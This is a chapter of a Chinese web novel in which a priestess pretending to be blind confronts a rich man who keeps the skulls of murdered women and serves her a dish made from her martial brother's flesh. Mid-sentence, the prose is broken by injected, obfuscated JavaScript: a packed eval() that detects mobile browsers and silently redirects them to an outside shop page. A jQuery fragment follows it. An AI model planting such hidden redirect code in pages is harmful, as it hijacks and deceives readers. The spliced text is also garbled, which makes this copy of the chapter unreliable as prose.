12. 第 12 章
作品:《牵星动》 请得道高人赴宴,为表尊敬,马员外让牵星动乘车,他自己则骑马伴随左右。
“无端道长肯赏光,真是让寒舍蓬荜生辉啊。”
仅仅客套了一句,他便切入正题:“听闻道长有门独门道法名为‘招魂’,需以三清铃起舞施法,能使求卦者灵魂出窍。不知我能否亲身一试?”
牵星动坐在马车内,晃晃悠悠的有些犯困,闭着眼懒懒道:“不能。”
老头不依不饶:“为何?是我与道法无缘?还是道长依然对我心存误会?”
她说:“没带三清铃。”
“……”马长富被噎了一下,干笑两声,“哈哈,原来如此,那真是不巧。”
“怎么不巧?”她睁开眼,偏头朝向车窗外的马长富,“昨日我只见了三人,其中恰好有您派来的眼线,多巧啊。”
马长富故作惊讶:“道长为何会这样想?”
旋即又恳求道:“老头我不敢骗您,其实客栈里那个叫小盛的伙计,她才是我派去的人。”
他一边说着,一边紧紧盯着牵星动的表情。
可惜她的面色连变都没有变一下,好像根本不在乎“小盛”这么一个与她朝夕相处好几日的人。
“这样啊。”牵星动说,“那我回去就把她杀掉好了。”
“哎哎哎,开个玩笑,开个玩笑而已!”他连忙掩口,低声道,“咱们大康国可容不得草菅人命之事!”
“也是。”她学着马长富的模样压低声音,说,“那我就悄悄杀。”
马长富大笑:“看来你我志趣相投啊。”
员外宅院并没有建在镇中最繁华的地段,反而远在城郊,门口也低调,只有简简单单“马宅”二字。
马车停在门前,立即有随从迎上来为牵星动安置脚凳,马长富亲自上前扶她下车,说道:“这就是寒舍。”
她点点头:“的确有些冷。”
一个莫名其妙的笑话,马长富听了却忍俊不禁:“道长真是风趣。”
他扶着牵星动向宅门走去,一边状若无意地问道:“道长不怕此行有来无回吗?”
“怕。”牵星动慢慢踩上一级台阶,像一个真正的目盲之人那样小心,“怕得要死。”
怕得要死,但没说是谁死。
她此举无异于羊入虎口,亲手把自己送入一个居心叵测之人的地盘。
牵星动进门后,马员外便松开了手,换一个老嬷嬷上前接过她,低声道:“老爷另有要事,不能相陪。老奴先带姑娘前去客舍休整,宴席很快就好。”
宅门低调,宅内却别有洞天。看得出来,那老头并非一般富人家喜爱奢华,他品味颇清奇,在宅院中辟出一条溪流,还有些奇石怪草,拐入后宅,牵星动甚至看见了一片郁郁青青的竹林。
老嬷嬷领着她左左右右拐了几个弯,最后穿过回廊,停在一座朱红小楼之前。
“姑娘请。脚下有三级台阶。”
她将人扶上三级台阶,到了小楼门口,却站在原地不再动了。
牵星动挑眉,问:“怎么不走了?”
“老爷吩咐了,这楼我们下人不能进。”老嬷嬷为她指路,“姑娘推开门,顺着墙一直向前走,尽头左手边那间就是您的房间了。”
她伸手摸到了门,用力一推,一阵冷风猛地迎面吹来。
在牵星动踏进一只脚的那刻,身后一直沉默不语的老嬷嬷忽然用极低极低的声音说道:“姑娘小心。”
也不知是提醒她走路小心,还是要小心这楼里的什么东西。
牵星动领了她的情,微不可察地点了下头。
门在身后被重新掩上,老嬷嬷的脚步声渐渐远去,牵星动一把扯下遮眼的系带,抬头看向一层小厅之上悬着的那块牌匾。
上书四字:红粉骷髅。
楼有三层,没有一处点灯,唯有最顶上开了一口天窗,透进一缕微弱的光来。她按照老嬷嬷所言,顺着手边的墙壁走到这一层的尽头,推开了左边的那扇房门。
首先映入眼帘的,是一座被白布盖起来的立柜。
那立柜足有两人高,像一张巨大的屏风挡在门口。屋内没有窗,门外的风吹进来,将白布吹得猎猎而动,紧贴在柜子上,显露出一些被掩盖的轮廓。
圆形的、表面凹凸不平,看形状应当是……
头骨。
这柜子里摆满了头骨。
牵星动没有一点去将布掀开的欲望,她想向另一侧走,绕开这座柜子,这才发现柜子两侧都有意无意地堆放了一些杂物。
倘若她真的失明,怕是难免被这些东西绊倒。
牵星动在心中冷笑一声,并不想参与老头无聊的测试,于是转身就要走,还没迈出一步,她忽然想到那个老嬷嬷的嘱咐,又回身站在柜子前。
下一刻,抬脚便踹!
“嘭——”
柜子轰然倒塌。
这一举动并不多余。因为在无数森白的头骨哗啦啦散落在地,蹦跳着滚向远方时,她看到马长富正坐在柜子之后十步远的地方,饶有兴致地看着她。
“你果然不是个真瞎子。”他道。
“累了,懒得装。”牵星动一摊手,“何必苦心试探?你直接问,我又不是不答。”
“道长满口没一句实话,我哪敢信?”马长富摇头苦笑,说着话头又回转,“不过道长既然这么说了,我就问上两句。”
牵星动抱臂,斜斜靠在门边,做了一个“请”的手势。
“你是来杀我的吗?”
“是。”
“看来是我引狼入室啊。”他感慨道,又问,“为何杀我?道长可别说什么‘为民除害’,这理由我都听烂了。”
“马老爷忘了吗?二十年前的秋月湖畔。”她忽然站直了身子,神色很认真,“你与一女子结姻,新婚不到半个月就离开了她,那时她已经怀有身孕了。”
马长富绞尽脑汁,似乎有点模模糊糊的印象:“难道你是我的……”
“不是。”
“还是那个女子派你来……”
“不是。”
“那是你路见不平,拔刀相助……”
“不是。”
接连打断老头三次,牵星动又没骨头似的倚回门
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14635482|156301||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上,咧着嘴恶劣一笑,“我编的,压根没什么秋月湖。”
“……”老头叹了口气,“唉,我就知道。”
“问够了,就放我出去。”她向来耐心有限,摸了摸肚子,不耐烦道,“饿了。”
——
离开朱红小楼时,由马长富亲自带路。走出几步,他回头望了一眼,问牵星动:“道长知道这楼是做什么用的吗?”
牵星动没理他,他也不尴尬,自顾自道:“人啊,一上了年纪就格外怕寂寞。有人喜欢儿女绕膝,可我不一样,我就爱让年轻姑娘围在身边,热热闹闹的,多好。”
“热闹完了,那么多姑娘又没处安放,于是我修了这么一座小楼,让她们能安生住下。”
她挑了下眉,即便意识到马长富在说什么,依旧是一脸淡然:“看来我今日扰了她们安宁。”
“可不是嘛,姑娘们好端端在那里住着,你一脚下去全踹翻了。”马长富啧啧摇头,“造孽啊,无端大人。”
原来这就是那块匾上所写的“红粉骷髅”,那些头骨是一个个枉死的姑娘,日积月累,已经摆满了一座两人高的柜子。
整个朱红小楼,就是一座巨大的葬花坟墓。
“回头我去赔个不是。”
“那哪儿够呢,怎么也得让她们舒舒服服住回原来的地方,你说是吧。”
牵星动忽然笑了。
“好啊。”她说,“回头我把你也摆进去,热热闹闹、舒舒服服地安享晚年。”
“那也不错,牡丹花下死,做鬼也风流嘛。”
二人你来我往地扯着淡,话语间杀气腾腾,可神情却欢快得像是一对忘年交。
聊着聊着到了宴厅,马长富将牵星动请进去,入眼便是一张能容十人围坐的圆桌,桌上摆满了精致的菜肴。
侍立一旁的随从将椅子拉开:“请姑娘入座。”
她一落座,随从立即开始为她布菜。牵星动瞥了马长富一眼,这人已经自顾自地夹菜吃起来了,还嚼着饭菜口齿不清地招呼她:“快吃快吃,不必客气。”
她夹了一筷盘中的菜,浓油赤酱认不出原样,放入口中一尝。
是肉。
牵星动几乎没有吃过荤腥,也只能尝出这是一块处理得不像肉的肉,至于是什么肉却不得而知。她不动声色地吐到地上,又夹了一筷别的菜,假装没尝出什么异样。
这碟她没有入口,只用筷子戳了戳,发现也是肉,而且与方才那碟原料相同,只是做法不一样。
“道长怎么不吃?”马长富放下筷子,关切地看着她,“这一桌素斋不合您的胃口吗?”
“素斋?”牵星动似笑非笑地将他的话重复了一遍。
“就是素斋啊,有什么问题吗?”
看见牵星动的反应,马长富一脸疑惑,又连吃了几筷子菜,咀嚼了咽下去,“没问题啊,这不是挺好吃的吗……”
说着说着,他的语调如同坠崖般猛地一降,阴森森道:“……以食素之人为原料的菜,不就是素斋吗?”
“怎么样,无端道长,你小师兄的肉……味道如何呀?”